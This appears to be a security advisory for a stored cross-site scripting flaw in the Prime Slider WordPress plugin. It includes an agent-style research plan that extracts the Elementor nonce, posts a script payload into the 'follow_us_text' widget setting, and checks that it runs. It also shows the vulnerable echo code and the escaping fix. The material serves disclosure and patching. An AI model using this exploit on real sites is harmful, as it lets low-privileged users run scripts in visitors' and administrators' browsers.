Prime Slider <= 4.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'follow_us_text' Parameter
Description
The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'follow_us_text' setting of the Mount widget in all versions up to, and including, 4.1.10. This is due to insufficient input sanitization and output escaping. Specifically, the `render_social_link()` function in `modules/mount/widgets/mount.php` outputs the `follow_us_text` Elementor widget setting using `echo` without any escaping function. The setting value is stored in `_elementor_data` post meta via `update_post_meta`. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.1.10What Changed in the Fix
Changes introduced in v4.1.11
Source Code
WordPress.org SVNThis research plan outlines the steps required to verify and exploit the Stored Cross-Site Scripting (XSS) vulnerability in the **Prime Slider – Addons for Elementor** plugin (CVE-2026-4341). --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) * **Affected P…
Show full research plan
This research plan outlines the steps required to verify and exploit the Stored Cross-Site Scripting (XSS) vulnerability in the Prime Slider – Addons for Elementor plugin (CVE-2026-4341).
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS)
- Affected Parameter:
follow_us_text(setting within the Mount widget) - Vulnerable Function:
render_social_link()inmodules/mount/widgets/mount.php - Sink:
echostatement without escaping. - Reason: The plugin fails to sanitize the
follow_us_textinput when saved via Elementor and fails to escape it when rendering the widget on the frontend. - Required Permissions: Authenticated (Contributor-level or higher) with access to the Elementor editor.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
elementor_ajax(internal action:editor_post_save) - Payload Location: The
follow_us_textkey within thesettingsobject of a widget of typeprime-slider-mount. - Preconditions:
- The attacker must have permissions to edit a post with Elementor (Contributor+).
- The "Mount" widget must be added to the post.
- The
show_social_sharesetting must be set toyes(default).
3. Code Flow
- Input: A user with Contributor+ access edits a post using Elementor and adds a Mount widget (
prime-slider-mount). - Storage: When the user saves the post, Elementor sends a request to
admin-ajax.phpwithaction=elementor_ajax. The widget data is stored in the_elementor_datapost meta. - Processing: In
modules/mount/widgets/mount.php, thefollow_us_textcontrol is registered usingControls_Manager::TEXT. - Rendering: When the post is viewed, the Elementor renderer instantiates the
Mountclass and calls itsrender()method. - Sink: The
render()method callsrender_social_link()(or uses the setting directly in the template). Based on the vulnerability report,render_social_link()outputs the value:// modules/mount/widgets/mount.php (inferred logic) protected function render_social_link() { $settings = $this->get_settings_for_display(); if ( ! empty( $settings['follow_us_text'] ) ) { echo '<span class="some-class">' . $settings['follow_us_text'] . '</span>'; // VULNERABLE SINK } }
4. Nonce Acquisition Strategy
To save Elementor widget data via the API, a valid Elementor AJAX nonce is required.
- Create Post: Create a new draft post as a Contributor.
- Navigate to Editor: Use
browser_navigateto visit the Elementor editor URL for that post:wp-admin/post.php?post=[POST_ID]&action=elementor. - Extract Nonce: Use
browser_evalto extract the nonce from theelementorConfigobject:browser_eval("window.elementorConfig?.ajax?.nonce")
- Alternative: The nonce can also be found in the HTML source of the editor page inside a script block defining
elementorConfig.
5. Exploitation Strategy
The exploit involves sending a crafted elementor_ajax request to inject the XSS payload.
Step 1: Save Malicious Widget Data
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:elementor_ajax_nonce:[Extracted Elementor AJAX Nonce]actions: A JSON string representing the save action.
{ "editor_post_save": { "action": "editor_post_save", "data": { "id": [POST_ID], "status": "draft", "elements": [ { "id": "exploit-section", "elType": "section", "elements": [ { "id": "exploit-column", "elType": "column", "elements": [ { "id": "exploit-widget", "elType": "widget", "widgetType": "prime-slider-mount", "settings": { "follow_us_text": "Follow Us <script>alert(document.domain)</script>", "show_social_share": "yes", "slides": [ { "title": "Slide 1", "sub_title": "Test" } ] } } ] } ] } ] } } }
Step 2: Trigger the XSS
- Navigate to the frontend view of the post:
?p=[POST_ID]. - The payload will execute automatically in the browser of any user (including Administrators) who views the page.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Post: Create a draft post (
post_type=post) and note the ID. - Plugin Config: Ensure Prime Slider is active and the Mount widget is enabled in the plugin settings (it is usually enabled by default).
7. Expected Results
- The
editor_post_saverequest should return a200 OKwith a JSON response containing"success": true. - When viewing the post, the HTML source should contain:
<span>Follow Us <script>alert(document.domain)</script></span> - A browser alert box should appear showing the site domain.
8. Verification Steps
- Database Check: Use WP-CLI to check the
_elementor_datameta for the post:wp post meta get [POST_ID] _elementor_data
Verify that thefollow_us_textfield contains the<script>tag. - Frontend Check: Fetch the post content and grep for the payload:
http_request('GET', 'http://[target]/?p=[POST_ID]')
Grep forFollow Us <script>alert.
9. Alternative Approaches
- REST API: Elementor also supports saving via the REST API if the AJAX method is restricted. The endpoint is
/wp-json/elementor/v1/globals/. - Other Widgets: The vulnerability description suggests the
render_social_link()function is at fault. If this function is shared (via a trait likeGlobal_Widget_Controlsmentioned in the source), other widgets in the Prime Slider plugin may also be vulnerable to the same payload in thefollow_us_textparameter. Check widgets likeIsolateorBlogif they use similar social share features.
Summary
The Prime Slider – Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the 'follow_us_text' and 'general_follow_us_text' parameters in the Mount and General widgets. This occurs because the plugin echoes user-supplied settings without proper sanitization or output escaping, allowing authenticated attackers with Contributor-level access or higher to inject malicious scripts into pages.
Vulnerable Code
// modules/general/widgets/general.php line 2589 <h3> <?php echo $settings['general_follow_us_text'] ? $settings['general_follow_us_text'] : esc_html__( 'Follow Us', 'bdthemes-prime-slider' ); ?> </h3> --- // modules/mount/widgets/mount.php line 1026 <h3> <?php echo $settings['follow_us_text'] ? $settings['follow_us_text'] : esc_html__('Follow Us', 'bdthemes-prime-slider') ?> </h3>
Security Fix
@@ -2589,7 +2589,7 @@ <h3> <?php echo $settings['general_follow_us_text'] - ? $settings['general_follow_us_text'] + ? esc_html($settings['general_follow_us_text']) : esc_html__( 'Follow Us', 'bdthemes-prime-slider' ); ?> </h3> @@ -1024,7 +1024,7 @@ <div <?php $this->print_render_attribute_string('social-icon'); ?>> <h3> - <?php echo $settings['follow_us_text'] ? $settings['follow_us_text'] : esc_html__('Follow Us', 'bdthemes-prime-slider') ?> + <?php echo $settings['follow_us_text'] ? esc_html($settings['follow_us_text']) : esc_html__('Follow Us', 'bdthemes-prime-slider') ?> </h3> <?php $this->render_social_link_repeater(); ?>
Exploit Outline
The exploit requires an attacker to have Contributor-level permissions or higher to access the Elementor editor. The attacker creates or edits a post using Elementor and adds either the 'Mount' or 'General' widget. They then input a malicious script into the 'Follow Us Text' field (parameter `follow_us_text` or `general_follow_us_text`). When the post is saved, Elementor sends an AJAX request (`elementor_ajax` action with `editor_post_save`) that stores the payload in the post's `_elementor_data` meta field. Because the plugin outputs this value directly using `echo` without escaping on the frontend, the script will execute in the browser of any user who views the affected post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.